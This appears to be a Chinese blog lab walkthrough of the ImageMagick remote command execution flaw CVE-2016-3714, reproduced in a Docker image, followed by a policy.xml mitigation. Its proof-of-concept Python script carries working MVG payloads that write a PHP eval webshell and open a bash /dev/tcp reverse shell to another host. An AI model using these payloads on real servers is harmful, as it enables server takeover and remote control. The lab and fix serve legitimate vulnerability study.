ImageMagick 命令执行漏洞

docker
Docker是由一家叫做Dotcloud的公司出品。
Docker是一个由GO语言写的程序运行的容器; 目前云服务的基石是操作系统级别的隔离,在同一台物理服务器上虚拟出多个主机。Docker则实现了一种应用程序级别的隔离; 它改变我们基本的开发、操作单元,由直接操作虚拟主机(VM),转换到操作程序运行的“容器”上来。
它也是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。
容器是完全使用沙箱机制,相互之间不会有任何接口(类似iPhone的app),并且容器性能开销极低。
ImageMagick
ImageMagick 是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。
漏洞介绍
ImageMagick官方披露称,目前程序存在一处远程命令执行漏洞(CVE-2016–3714),当其处理的上传图片带有攻击代码时,可被远程执行任意代码,进而可能控制服务器
漏洞危害
成功利用该漏洞后,攻击者可以远程任意代码执行,在本次演示中,攻击者可以执行EXP在网站根目录写入一句话木马,直接拿到WebShell
步骤1:运行Docker镜像
首先使用 user123456的账号登录,然后切换到高权限用户,使用命令:
下面查看Docker当前有哪些可用的镜像,使用命令:
如上图所示,我们本次要用到的就是名称为cve-2016-3714的镜像。
接下来我们运行此镜像,使用命令:
这条命令的大意为:运行此镜像,临时命名为 ichunqiu, 并将80端口映射到本地的8080端口。
  • -p 表示port8080:80前者为默认的本地(127.0.0.1)端口,后者为镜像的端口
  • --name 表示制定临时名称
  • -itd 表示镜像在后台运行
  • 如图
然后进入镜像来启动apache服务,因为必须启动apache服务,网页才能正常的访问,使用命令:
启动完成之后,可以使用如下命令来查看是否启动成功:
如果出现如上图所示,就成功启动docker,并启动了apache服务。
最后再退出镜像,使用命令:EXIT。
步骤2:执行POC
我们首先来查看一下POC的主要内容:
python#!/usr/bin/env python# coding:utf-8import requestsimport base64def doPost(url, data): post_data = {"img": base64.b64encode(data)} try: requests.post(url + "/poc.php", data=post_data, timeout=1) except: pass# 写 webshelldef writeshell(url): writeshell = """push graphic-contextviewbox 0 0 640 480fill "url(https://example.com/1.jpg"|echo \"<?php eval($_POST[\"ant\"]);?>\" > shell.php")"pop graphic-context""" doPost(url, writeshell) resp2 = requests.post(url + "/shell.php", data={"ant": "echo md5(123);"}) if resp2.status_code == 200 and "202cb962ac59075b964b07152d234b70" in resp2.content: print "WebShell: " + url + "shell.php"def reverse_shell(url): reverse_shell = """push graphic-contextviewbox 0 0 640 480fill "url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")"pop graphic-context""" # 反弹 shell doPost(url, reverse_shell)if __name__ == "__main__": # 写 webshell writeshell("http://172.16.11.2:8080/") # 反弹 shell # reverse_shell("http://127.0.0.1:8000/")
它的功能是在网站根目录写入一句话木马,生成shell.php脚本。接下来我们执行它。
使用命令:
如上图,执行成功后,会返回一句话木马的地址。
我们再进入docker镜像里,查看是否真的写入了一句话木马,使用命令:
可以看到如下内容:
到这里就成功的验证了漏洞,并拿到了Webshell。
分析与总结
修复
使用策略文件暂时禁用ImageMagick。可在“/etc/ImageMagick/policy.xml”文件中添加如下代码:
<policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /></policymap>
之后的工作,就是尝试在代码层修复此漏洞,因本人菜鸟一枚,无法进行尝试,待到相关知识面拓广至有此能力后会继续经行尝试修复。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值